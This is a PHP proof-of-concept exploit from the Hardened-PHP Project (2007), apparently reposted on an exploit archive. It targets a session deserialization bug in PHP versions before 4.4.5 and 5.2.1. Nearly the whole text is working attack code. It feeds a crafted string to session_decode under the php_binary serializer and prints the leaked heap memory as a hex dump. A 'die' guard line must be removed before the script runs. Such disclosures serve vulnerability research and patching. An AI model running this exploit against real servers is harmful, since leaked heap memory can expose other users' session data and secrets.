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PHP < 4.4.5 / 5.2.1 php_binary Session Deserialization Information Leak
[=======================================================================
PHP < 4.4.5 / 5.2.1 php_binary Session Deserialization Information Leak
=======================================================================
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP php_binary Session Deserialization Information Leak //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
ini_set("session.serialize_handler", "php_binary");
session_start();
$x = chr(36).str_repeat("A", 36)."N;".chr(127);
$data = $x;
session_decode($data);
$keys = array_keys($_SESSION);
$heapdump = $keys[1];
echo "Heapdump\n---------\n\n";
$len = strlen($heapdump);
for ($b=0; $b<$len; $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
printf ("%02x ", ord($heapdump[$b+$i]));
} else {
printf (".. ");
}
}
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
$c = ord($heapdump[$b+$i]);
} else {
$c = 0;
}
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
# 0day.today [2024-11-15] #